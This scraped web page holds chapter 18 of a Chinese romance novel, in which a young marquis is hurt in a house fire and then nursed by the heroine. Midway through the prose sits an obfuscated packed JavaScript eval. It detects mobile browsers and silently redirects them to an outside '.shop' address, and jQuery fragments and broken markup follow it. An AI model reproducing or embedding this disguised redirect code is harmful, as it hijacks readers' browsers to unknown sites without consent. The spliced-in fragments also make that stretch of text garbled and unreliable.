文趣网 > 都市小说 > 纨绔的暗恋日常 > 18. 第 18 章
    烈火熊熊,又伴着浓烟滚滚,即便脸上裹着湿布,依旧让谢绍临呛得直咳嗽,双眼亦被熏得睁不开。

    “薛慈……咳咳咳……薛慈,你在哪?”

    “薛慈,你要是没法说话……咳咳……你敲两下,我耳力好,咳咳咳。”

    谢绍临越走越往深处,火焰也越发灼烫,房梁木板也因灼烧在不断噼啪作响,随时都有断裂坍塌的可能。

    “谢绍临!你快出来!我在外头!”

    屋外忽然模糊传来的薛慈声音,让火场中的他有种不真切的感觉。

    连他素来笃信的好耳力,此刻亦叫他无法判别自己是真听见了,还是幻想。

    谢绍临愣住了,人还未动,“轰隆”一声巨响,半间屋子的房梁因支撑不住,坍塌而下。

    被清禾扶着的薛慈,被眼前景象吓得呼吸一滞,手脚瞬间冰凉,甚至抖得厉害。

    “谢……谢安,快去救……就你家侯爷。”

    吓呆的谢安,至此才回过神,扔了手中铜盆,哭着奔向那塌了的废墟,边哭边喊人帮忙来挖。

    “咳咳咳……别哭号了,没死呢……咳咳咳……”

    谢绍临捂着口鼻,从另一侧完好走了出来。

    谢安跌坐在地,反而嚎啕得更加起劲。

    谢绍临嫌他丢人,没好气得轻踢了他一脚,视线却落在了薛慈身上。

    薛慈那张素净的脸上,此刻似只花猫一般,这一块黑,那一块脏的,杏眼红红,眼眶里蓄满了眼泪,瞧来极是委屈又可怜。

    她见谢绍临安然出来,悬着的心才落了地,眼泪却是再也兜不住得直往下落。

    谢绍临见她哭了,顿时手足无措,脑子里过了无数安慰人的话,可从嘴里蹦出的,只有四个字:“你别哭啊……”

    薛慈还当真就听了他的话,抬袖揩掉眼泪,转而变得气鼓鼓得就冲他来了。

    “谢绍临!你是真的不要命了吗?劝你回去养伤不听,你还犯险冲进火场里,你怎么想得啊?”

    不知为何,谢绍临脑子里完全略去了薛慈的话,满眼只有对方花了脸的模样。

    他双眼有些迷糊,越瞧薛慈越觉得她似只张牙舞爪的小猫般,没半点凶恶,怎么反还有几分可爱?

    谢绍临冲她一笑,脱口而出:“你生气原是这样的啊?”

    薛慈未听清:“什么?”

    谢绍临后知后觉,自己怎会将心里话说出的?

    他妄图为自己狡辩,只是还未张口,下一瞬就是天旋地转袭来。他撑不住身子,意识也不受控,身子直往薛慈那儿栽下去。

    “喂!谢绍临!”

    “侯爷!”

    “呀!小姐!”

    院内,瞬间又乱作一团。

    *

    “薛小姐?别趴在这儿睡了,去歇会儿吧?”

    薛慈被谢安喊醒了,她困乏得很,竟趴在谢绍临床榻边就睡着了。

    她清醒后,下意识就是看向床榻上的人,还是没醒。

    谢安之前看顾过谢绍临,不过是一宿,就叫他乏累得不行。

    而这回,自打谢绍临昏迷,已是过去一天一夜了。

    “侯爷额头不烫了,身上伤药您又全给他重换过了,您就趴在这儿睡,会把自己给累着的。”

    薛慈慢慢站起身,抬手掩嘴打了个哈欠,还是冲着谢安摇了头。

    “他伤口开裂,又浇了一身水,还进了火场里,而今感染热毒,高烧才退,需得仔细看着。我在这儿守着,有什么状况,能及时给他解决。”

    谢安无奈,性子温柔的薛慈,怎得也是同他家侯爷一样的倔脾气?

    “对了,谢安,你若得空,替我回薛府跑一趟?”

    “可是要看看薛大人?我今日去过了,我们老侯爷还差我去请薛大人来府上住来着……”他挠挠头,“但,薛大人没答应,说他住的地方没事,府中也有事儿需处理。”

    薛慈点了头,只是一想起那晚上的事,她还是有些后怕。

    因为,那火是有人特意放的,薛慈闻到了火油的味道。

    “既然如此,那薛小姐,我去给您备些晚膳吧?”

    薛慈没拒绝,目送谢安离去后,她又坐回谢绍临床榻边。

    她伸手探了他的脉,已是平稳许多了,醒来大抵也快了。

    困意又一次袭来,薛慈忍不住打了哈欠,她眼睛酸涩,只得多闭闭眼来缓和。

    “咳咳……”

    谢绍临因口干舌燥,逐渐转醒,睁眼就发现自己在定远侯府中。

    “谢安……”

    他本想喊谢安给自己倒水,才喊了个名字,他就即刻收了声,薛慈竟撑着额头,在床榻边睡着了。

    只是她那撑着额头的手,早已撑不住她逐渐倾斜的身子,额头正从她手掌处一点点滑落。

    谢绍临生怕她磕到头,又不想吵醒薛慈,他小心翼翼得坐起身,慢慢从锦被中抽出自己的手,想帮她调整姿势,让她靠实些。

    才靠近她的手腕,薛慈睫羽忽动,眼皮微微抬了抬。

    谢绍临呼吸一滞,手都未来得及收回,就这般悬于半空,脑内一片空白,只知道关注着薛慈一举一动。

    好在薛慈未睁开眼,只是自个儿调了个舒服姿势,改成了枕在自己手臂上,也隔着被子压在了谢绍临的腿上。

    谢绍临默默收回了手,微侧头,就这般静静看着睡着的薛慈。

    她呼吸平稳,神态放松之下,上唇也微微翘着,比平时更多了几分娇憨之态。

    大抵是真累着了,这般硌身子的姿势,她都睡得香甜。

    烛光在她脸颊上笼罩了层薄纱,谢绍临伸手欲拢去这“薄纱”,手的影子反被投照到了薛慈脸上,仿佛在抚着她的脸庞。

    忽而烛火微动,薛慈的长睫也微颤,他的心也加速跳动了。

    “哎?侯爷!你醒啦!现在感觉如何了?”

    谢安端着晚膳回来,瞧见谢绍临醒了,言语里皆是兴奋之意,声嗓都比平常时候高了几分。

    谢绍临使劲朝他使眼色,比划手,要他住嘴。

    谢安愣是看不明白,问他:“侯爷怎么了?是不是哪里不舒服?这般舞着,可是背疼?”

    “嗯?”薛慈听到声音,也迷糊转醒,她揉着眼,看到了苏醒的谢绍临。

    “醒了啊,背疼是吗?我瞧瞧。”

    她只在迷糊中听见了谢安问的最后一句,人还未完全缓过劲,手已经要搭上谢绍临身子,要扒他衣裳。

    谢绍临赶紧握住了她的手腕,制止了薛慈行为。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17638073|205417||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>“没,我没事,不疼。”

    他嘴上这么说,眼眸却是低垂瞧着薛慈手腕,纤细又骨感分明,她怎么这般瘦?他一只手就能握住她两只手腕了,多给她吃些好吃的,能养胖些吗?

    “噢,好,不疼就好。”薛慈抽回手,终是放下了心,“那我就要好好吃饭,然后回去睡了。”

    她后半句说得低声,是自言自语,可谢绍临离她近,耳力又好,自然全听进去了。

    谢绍临忙问:“回去?回哪去?你家现在如何了?那火可有致人伤亡?人都无碍吧?”

    薛慈刚坐那端起碗筷,她因困倦,反应略慢,还是谢安替她说了。

    “薛小姐住的那小院算是烧了个干净了。不过,索性房子间是有些间隔的,也无连廊之类的,因救火及时,旁的屋子影响不大。今日我也去瞧过了,薛大人已找了工匠在拆残余危房了。有一两个小厮救火被灼伤了,但也不算严重。”

    谢安瞟了谢绍临一眼,又道:“伤最严重的,大抵就是侯爷您了……”

    “我……”

    谢绍临无语,又觉自己丢人,扶额闭眼,以此掩饰尴尬。

    薛慈眼里只有吃的,全然没注意谢绍临是何反应,一味点头:“嗯,是这样。”

    “那你这回哪去?”

    谢安道:“薛小姐会暂住我们侯府,安置在兰亭苑。”

    谢绍临有些不信,见薛慈又是点了头,他眼里才闪了光彩。

    那日被薛江淮如此教训,他原已经不大好意思再找薛慈了,倒没想到她竟会住侯府里。

    薛慈咽下口中的饭菜,才说道:“等你好转些了,我就回去。你身子强健,好生养着护着,用我那特制金疮药,不出七日就能大好。”

    “啊?你是来盯我治伤的?”

    “嗯嗯,老侯爷说你惯不听话,一身伤还瞎折腾,这次又反复倒下两回了,特请了我在你们府上看着你。”

    “……”

    谢绍临都不知她这仅待此七日,还该不该高兴了?但,总比见不到好吧?

    薛慈见他不说话,以为他介意自己要寸步不离盯着,遂又同他说道:“你老实喝药上药,快些的话,三五日也可以的。但是,去浮生楼或者别的地方,还是不行的,外伤也是需要好好养的。呃,酒色这些,短期内该忌还是得忌。”

    谢绍临一下被她这话呛到,一口气堵在胸口,止不住咳起来。

    谢安一边偷笑,一边上前给他顺气。

    薛慈不明所以,还在那儿给予医嘱:“对了,咳嗽时,也别这么用劲,缓和些。”

    谢绍临生怕自个儿被她真气撅过去,忙扯了别的事儿,打断了她。

    “薛大人,他不介意你来侯府吗?还是来照顾我来着……”

    薛慈回忆了那晚的事儿,谢绍临热毒发作晕倒后没多久,定远侯府就来人了,还是老侯爷亲自过来的。

    老侯爷虽面向威严,为人却是和善得很。

    见着谢绍临那会的狼狈般模样,一点未怪罪他们薛家,反而是他一个劲地向他们父女俩致歉。

    甚至得知走水之事后,他不仅要帮着调查,还主动喊他们父女二人同来定远侯府暂住。

    而唯一请求,就是拜托了薛慈能帮着看顾一下谢绍临的伤势。